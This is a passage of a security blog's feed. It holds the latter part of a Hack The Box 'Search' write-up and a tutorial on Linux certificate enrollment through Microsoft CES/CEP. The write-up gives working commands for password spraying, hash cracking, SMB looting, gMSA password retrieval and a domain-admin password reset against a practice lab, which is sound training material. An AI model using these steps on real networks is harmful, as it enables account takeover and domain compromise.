&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hashcat -m 13100 krb.txt --show
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;to recover the password for the service account.&lt;/p&gt;

&lt;p&gt;We mark the account as owned in bloodhound and check for paths to domain admin. At this point there are none.&lt;/p&gt;

&lt;p&gt;Since this is a service account, we should check for password spray with the new credentials. (The idea being that if an admin created the service account, they might also use that password for themselves). Before doing that though, we should get a list of all users found by bloodhound. An easy way to do that is to open the console on http://localhost:7474 and execute a simple query:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (u:USER) RETURN u.name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/neo4j-query.png&quot; alt=&quot;neo4j&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There’s an “export to csv” option in the top right corner. We can add all the usernames to our users.txt before running the password spray again with the new password.&lt;/p&gt;

&lt;h1 id=&quot;password-spray-2&quot;&gt;Password Spray #2&lt;/h1&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./kerbrute_linux_amd64 passwordspray --dc &apos;research.search.htb&apos; -d &apos;search.htb&apos; search-users.txt &apos;newpassword&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We find that the password is shared by two accounts:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;   __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&amp;lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/13/22 - Ronnie Flathers @ropnop

2022/12/13 08:44:19 &amp;gt;  Using KDC(s):
2022/12/13 08:44:19 &amp;gt;  	research.search.htb:88

2022/12/13 08:44:19 &amp;gt;  [+] VALID LOGIN:	 WEB_SVC@search.htb:newpassword
2022/12/13 08:44:22 &amp;gt;  [+] VALID LOGIN:	 EDGAR.JACOBS@search.htb:newpassword
2022/12/13 08:44:24 &amp;gt;  Done! Tested 107 logins (2 successes) in 5.406 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We mark the new account as owned in bloodhound and check for paths to domain admin. At this point there are still none.&lt;/p&gt;

&lt;h1 id=&quot;share-enumeration&quot;&gt;Share Enumeration&lt;/h1&gt;

&lt;p&gt;The next point of interest is whether there are shares that lead us to code execution via RPC over SMB, crackmapexec does a good job of helping there but there do not seem to be any. Or any that just contain information that is useful to us:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;smbmap -u edgar.jacobs -p password -d search -H 10.10.11.129
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We identify:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	CertEnroll                                        	READ ONLY	Active Directory Certificate Services share
	helpdesk                                          	READ ONLY
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share
	RedirectedFolders$                                	READ, WRITE
	SYSVOL                                            	READ ONLY	Logon server share
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can enumerate the content of folders we have access to with something like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;smbmap -u edgar.jacobs -p password -d search -H 10.10.11.129 -R RedirectedFolders$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And in this case, we eventually find a useful file which we can download to our machine with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;smbget -U edgar.jacobs smb://10.10.11.129/RedirectedFolders$/edgar.jacobs/Desktop/Phishing_Attempt.xlsx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Reading the (full) Excel Spreadsheet&lt;/p&gt;

&lt;p&gt;We find that a single column of the spreadsheet is locked and requires a password.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/spreadsheet.png&quot; alt=&quot;spreadsheet&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Fortunately, there is a known workaround. XLXS files are in zip format and contain the bits and pieces in the archive. If you extract the files you can work with the individual parts. In this case we are looking for the “SheetProtection” tag in the xml for the document. If we simply remove that tag the column will be no longer protected.&lt;/p&gt;

&lt;p&gt;We remove the tag from xl/worksheets/sheet2.xml&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/remove-protection.png&quot; alt=&quot;remove protection&quot; /&gt;&lt;/p&gt;

&lt;p&gt;then rezip the file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;zip -r Phishing_Attempt.xlsx *
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When we reopen the file, we can see column C and it contains many passwords.&lt;/p&gt;

&lt;h1 id=&quot;new-credentials&quot;&gt;New Credentials&lt;/h1&gt;

&lt;p&gt;We noticed earlier that user.txt was in the folder for Sierra.Frye but we didn’t seem to have access. We can can that again now with credentials that appear to be for that user.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;smbget -U Sierra.Frye smb://10.10.11.129/RedirectedFolders$/sierra.frye/User.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The user.txt is valid. Neither here nor there for the real world, but useful to reassure that we are on the right track on this simulation.&lt;/p&gt;

&lt;h1 id=&quot;certificates&quot;&gt;Certificates&lt;/h1&gt;

&lt;p&gt;The user Sierra.Frye appears to have certificate material in the Downloads folder (Downloads\Backups)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;smbget -U sierra.frye -w search -R smb://10.10.11.129/RedirectedFolders$/sierra.frye/Downloads/Backups/search-RESEARCH-CA.p12
smbget -U sierra.frye -w search -R smb://10.10.11.129/RedirectedFolders$/sierra.frye/Downloads/Backups/staff.pfx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;When attempting to load the certificate via Firefox we find that the certificate is password protected.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/password-protected.png&quot; alt=&quot;password protected&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We crack the password:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pfx2john staff.pfx &amp;gt; staff.hash
john --wordlist=rockyou.txt staff.hash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now that we have the password and should be able to import the .pfx file.&lt;/p&gt;

&lt;h1 id=&quot;web-enumeration&quot;&gt;Web Enumeration:&lt;/h1&gt;

&lt;p&gt;We need to find if there are authenticated parts of the site, we have yet to stumble on for which a client certificate might be useful.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gobuster dir -u 10.10.11.129 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We hit a promising 403 on “staff”:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/staff                (Status: 403) [Size: 1233]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;/assets/article_images/forbidden.png&quot; alt=&quot;forbidden&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If we change our request to use https, we can leverage the certificate we imported for mutual authentication and succeed in finding the PowerShell Web site. This would be an undesirable configuration for most Domain Controllers but provided a really interesting detour on this practice lab.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/PowerShell-web.png&quot; alt=&quot;PowerShell web access&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;powershell-web&quot;&gt;PowerShell Web&lt;/h1&gt;

&lt;p&gt;Once logged in, we have shell access to the machine.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/PowerShell-web2.png&quot; alt=&quot;PowerShell web access 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If we update our bloodhound information, marking Seirra as owned we can see that there is now a path to Administrators:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/bh-updated.png&quot; alt=&quot;bloodhound updated&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looking at the diagram we can see that sierra.frye is a member of the ITSEC group.&lt;/p&gt;

&lt;p&gt;The ITSEC group has “ReadGMSAPassword” rights on the BIR-ADFS-GMSA$ account. We can assume that this is a group managed service account.&lt;/p&gt;

&lt;p&gt;The BIR-ADFS-GMSA$ account has GenericAll rights on tristan.davies  and Tristan is a member of the Administrators group, nice.&lt;/p&gt;

&lt;p&gt;We should be able to take over Tristan’s account if we can retrieve the GMSA credentials. The DSInternals package will allow us to do this.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$GMSA = Get-ADServiceAccount -Identity bir-adfs-gmsa -Properties &apos;msds-managedpassword&apos;
$pass = $GMSA.&apos;msds-managedpassword&apos;
$convertedpass = ConvertFrom-ADManagedPasswordBlob $pass
$user = &apos;BIR-ADFS-GMSA$&apos;
$password = $convertedpass.&apos;CurrentPassword&apos;
$ss = ConvertTo-SecureString $password -AsPlainText -Force
$cred = new-object system.management.automation.PSCredential $user,$ss
Invoke-Command -computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText &apos;P@ssw0rd123!&apos; -force)} -Credential $cred
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;wmiexec&quot;&gt;WMIExec&lt;/h1&gt;

&lt;p&gt;It would be nice if we had a way to get a shell as Tristan Davis now that we’ve reset his password. One way to achive this is with impacket. We can use:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wmiexec.py &apos;search/tristan.davies:P@ssw0rd123!@10.10.11.129&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And we should see:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/wmiexec.png&quot; alt=&quot;wmiexec output&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From there we can dump the challenge flag as needed but more importantly we can see that we have full domain administrator privileges and have completed the objective of compromising this domain.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://bloodhound.specterops.io/&quot;&gt;BloodHound documentation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview&quot;&gt;Kerberos authentication overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model&quot;&gt;Microsoft: Securing privileged access&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 15 Dec 2022 14:34:25 +0000</pubDate>
        <link>https://chadduffey.com/hack_the_box/active_directory/2022/12/15/Search.html</link>
        <guid isPermaLink="true">https://chadduffey.com/hack_the_box/active_directory/2022/12/15/Search.html</guid>
        
        
        <category>hack_the_box</category>
        
        <category>active_directory</category>
        
      </item>
    
      <item>
        <title>Using Microsoft CES/CEP for Linux Workstation Certificate Enrollment with Kerberos Workstation Authentication</title>
        <description>&lt;p&gt;This post describes a certificate-enrollment pattern for domain-joined Linux workstations that need to authenticate with machine-account Kerberos and request workstation certificates from Microsoft AD CS. The main moving parts are CES/CEP, Kerberos delegation, certificate templates, Linux domain join and keytab handling, and client-side enrollment tooling.&lt;/p&gt;

&lt;p&gt;We will cover the detail a little further down, but at a high level this can be achieved with:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;CES/CEP configured on the Microsoft CA (or on separate machines as a CA role)&lt;/li&gt;
  &lt;li&gt;Domain join and keytab configuration on Linux workstations.&lt;/li&gt;
  &lt;li&gt;CEPCES open source project: https://github.com/openSUSE/cepces/&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The lab configuration I’d suggest you start your POC with:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Windows 2019 Domain Controller.&lt;/li&gt;
  &lt;li&gt;Windows 2019 Certificate Authority configured in Enterprise mode.&lt;/li&gt;
  &lt;li&gt;Linux client - This post is based on Debian.&lt;/li&gt;
  &lt;li&gt;Windows client - Domain joined, but logged on with local account. This will help confirm that CEP/CES is doing it is thing before you start trying to teach a linux client to enjoy Windows things.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;cescep-in-brief&quot;&gt;CES/CEP in brief&lt;/h2&gt;

&lt;p&gt;CES and CEP provide a HTTPS interface for your CA. It is different than the old web enrollment interface that it sometimes gets confused with. Unlike that web enrollment interface, there is no web GUI to click through and manually request certificates.&lt;/p&gt;

&lt;p&gt;Instead, CEP basically provides a HTTPS to LDAP interface to retrieve information about available certificates from AD and CES provides a HTTPS to RPC/DCOM interface to allow clients to retrieve those certificates from the certificate authority.&lt;/p&gt;

&lt;p&gt;The HTTPS interface is especially useful for the use case at the top of this post because we can enforce Kerberos authentication.&lt;/p&gt;

&lt;p&gt;This diagram might help, but I’d caution that in many cases it will be preferable to move the role onto it is own server.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/cescep.png&quot; alt=&quot;cescep&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;cescep-installation&quot;&gt;CES/CEP Installation&lt;/h2&gt;

&lt;p&gt;Installation of CES and CEP is relatively easy and your best bet is to stick with the Microsoft documentation in case there are adjustments in the UI and this post is out of date.&lt;/p&gt;

&lt;p&gt;I’d recommend this page:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/identity/solution-guides/certificate-enrollment-certificate-key-based-renewal&quot;&gt;https://docs.microsoft.com/en-us/windows-server/identity/solution-guides/certificate-enrollment-certificate-key-based-renewal&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Microsoft article can be summarized as:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Install the CES and CEP roles using Add/Remove Roles in Windows Server.&lt;/li&gt;
  &lt;li&gt;Configure the roles via the Wizard.&lt;/li&gt;
  &lt;li&gt;Choose Integrated Windows Authentication. (Our goal is for Kerberos authentication via linux machine account)&lt;/li&gt;
  &lt;li&gt;You’ll need a Server certificate available for the Wizard to configure on the HTTPS interface.&lt;/li&gt;
  &lt;li&gt;You’ll need a service account for the CES/CEP service and that service account needs to be added to the IIS_USER group on the CESCEP server.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once it is set up, you’ll need to make sure that the service account has a HTTP SPN and that it is trusted for delegation that is constrained to the MSCA.&lt;/p&gt;

&lt;p&gt;In case it is helpful here is my configuration with those things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Domain: jmpesp.xyz&lt;/li&gt;
  &lt;li&gt;Service account: jmpesp\cescep&lt;/li&gt;
  &lt;li&gt;CA: ca.jmpesp.xyz&lt;/li&gt;
  &lt;li&gt;DC: dc.jmpesp.xyz&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Delegation example (PowerShell)&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Get-ADUser -Identity cescep | Set-ADAccountControl -TrustedToAuthForDelegation $True
Set-ADUser -Identity cescep -Add @{&apos;msDS-AllowedToDelegateTo&apos;=@(&apos;HOST/CA.jmpesp.xyz&apos;,&apos;RPCSS/CA.jmpesp.xyz&apos;)}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;SPN Example&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;setspn -s http/ca.jmpesp.xyz jmpesp\cescep
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/spn.png&quot; alt=&quot;spn&quot; /&gt;&lt;/p&gt;

&lt;p&gt;setspn can be confusing, but the command above is saying “when someone comes looking for a service ticket for HTTP on ca.jmpesp.xyz the AD account needed is cescep.jmpesp.xyz - our service account. So without this SPN, what could happen is that a client might just fail, because there is no HTTP SPN. Or it might fall back to ask for HOST\ca.jmpesp.xyz which will be no good, because the secret in play there would be the computer account for the CA rather than our new service account that it running the service.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Potential Problem&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There’s one more thing that caught me, it is worth leaving a note here:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/cep-error.png&quot; alt=&quot;cep-error&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;Error: Access was denied by the remote endpoint&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The answer was provided in this post: &lt;a href=&quot;https://msitpros.com/?p=1930&quot;&gt;https://msitpros.com/?p=1930
&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But to summarize:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Make sure that both application pools for CES/CEP have been configured to run as the service account from above (in IIS manager). You’ll probably find that one is running as “ApplicationPoolIdentity”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/app-pool.png&quot; alt=&quot;app-pool&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once you’ve nailed that I’d suggest you test this on a domain joined Windows machine before moving forward. Log in with a local admin account rather than a domain account so that you know the only Kerberos going on is via the computer ticket.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Open a mmc.msc window.&lt;/li&gt;
  &lt;li&gt;Choose Certificates from the file -&amp;gt; add/remove snap in interface.&lt;/li&gt;
  &lt;li&gt;Choose computer certificates.&lt;/li&gt;
  &lt;li&gt;Go to the personal store.&lt;/li&gt;
  &lt;li&gt;Request new certificate.&lt;/li&gt;
  &lt;li&gt;Just behind the dialog below there is a little link under “configured by you” on the right. It is the one that will let you add a CES/CEP interface.&lt;/li&gt;
  &lt;li&gt;Provide the CES/CEP path. It is always in the format shown, but if you are unsure go back to IIS Manager on the CEP/CES server, choose Default WebSite, ADPolicyProvider_CEP_kerberos, and then application settings. You can grab the “URI” value from there.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/test.png&quot; alt=&quot;test-cep&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once you’re satisfied the test Windows client is working, you can move on to Linux where things are much more interesting :)&lt;/p&gt;

&lt;h2 id=&quot;linux-client-configuration&quot;&gt;Linux Client Configuration.&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;DNS&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Hostname should be FQDN for the domain:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo hostnamectl set-hostname pop-os.jmpesp.xyz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Not essential, actually, maybe not even recommended, but worked for me - to ensure nothing fancy is going on with DNS you can do:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo nano /etc/resolv.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;then add the nameserver you’d like to use for this process to the file and save it:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nameserver 192.168.1.165
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Domain Join&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo apt -y install realmd libnss-sss libpam-sss sssd sssd-tools adcli samba-common-bin oddjob oddjob-mkhomedir packagekit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Test that you can now “see” the domain you’d like to join:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo realm discover jmpesp.xyz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Join:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo realm join -v -U Administrator jmpesp.xyz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;(Doesn’t have to be administrator, just someone that can join the domain. You don’t need any jmpesp\administrator type format; if the previous steps have worked, you are golden)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/domain-join-1.png&quot; alt=&quot;domain-join-1&quot; /&gt;
&lt;img src=&quot;/assets/article_images/domain-join-2.png&quot; alt=&quot;domain-join-2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If things have gone well, you’ll get a successful response from:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;realm list
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;/assets/article_images/realm-list.png&quot; alt=&quot;realm-list&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kerberos&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt-get install sssd heimdal-clients msktutil
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, configure your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/krb5.conf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/krb5.conf.png&quot; alt=&quot;krb5.conf&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If things are on track, you’ll be able to kinit and get a Kerberos ticket for the user. I’m using “administrator” for a simple lab example, but you should be able to use others from the domain.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;kinit administrator
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;/assets/article_images/kinit.png&quot; alt=&quot;kinit&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Good progress, but for the computer to talk Kerberos with our CESCEP server we are going to need a krbtgt for the computer account.&lt;/p&gt;

&lt;p&gt;We can test that with:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo kinit -kt /etc/krb5.keytab POP-OS\$@JMPESP.XYZ
sudo klist
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;/assets/article_images/kinit.computer.png&quot; alt=&quot;kinit-computer&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The critical part when it comes to the CEP/CES library we’ll configure in a minute is that your keytab file is in good shape. You can test with:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo ktutil -l
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;/assets/article_images/ktutil.png&quot; alt=&quot;ktutil&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Update our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/sssd/sssd.conf&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo cp /etc/krb5.keytab /etc/sssd/key.keytab
sudo nano /etc/sssd/sssd.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;/assets/article_images/sssdconf.png&quot; alt=&quot;sssdconf&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo chmod 600 /etc/sssd/sssd.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We’re ready to ask for certificates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Certificates&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/openSUSE/cepces.git
sudo apt install libkrb5-dev
sudo apt install python3-pip
cd cepces
sudo pip3 install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Then&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo apt install certmonger
sudo apt install python3-requests-Kerberos
sudo python3 setup.py install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I had trouble with older versions of certmonger. The one that worked reliably for me was 0.79.13-3. On older ubuntu versions I had to pin the sources for this package to get it to update from a later release. You can inspect the versions available/installed like: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo apt-cache policy certmonger&lt;/code&gt;&lt;/p&gt;

